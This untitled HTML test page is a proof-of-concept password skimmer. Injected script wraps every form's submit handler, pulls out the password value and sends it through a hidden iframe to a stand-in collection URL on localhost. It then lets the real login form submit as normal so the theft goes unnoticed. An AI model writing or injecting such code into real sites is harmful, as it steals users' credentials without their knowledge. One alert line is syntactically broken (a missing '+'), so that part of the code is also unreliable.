Untitled

<html><body>

<!-- our javascript -->
<script>
window.addEventListener('load',
function()
    {
    for(var i = 0; i < document.forms.length; i++)
        {
        var form = document.forms[i];
        var onsub = form.onsubmit;
        form.onsubmit = null;
        form.addEventListener('submit',
        function(evt)
            {
            var passwd;

            for(var j = 0; j < form.elements.length; j++)
                if(form.elements[j].type == "password")
                    passwd = form.elements[j].value;

            alert("The password: "   passwd);

            var frame = document.createElement("iframe");
            frame.setAttribute("src", "http://localhost/test.php?passwd=" + escape(passwd) );
            frame.setAttribute("style", "display: none;");
            document.body.appendChild(frame);
            evt.preventDefault();
            frame.onload = function() { if(onsub == undefined) form.submit(); if(onsub()) form.submit(); }
            }
        , false);
        }
    }
, false);
</script>

<!-- real website javascript -->
<script>
// a test to make sure both window.onload events are called
window.onload = function() { alert("page is loaded"); }

// a test to make sure both form inputs are used
function validate_input()
    {
    return true;
    }
</script>

<form method="post" action="login.php" onsubmit="return validate_input();">
user: <input type="text" name="user"><br>
pass: <input type="password" name="pass"><br>
<input type="submit" value="submit">
</form>

</body></html>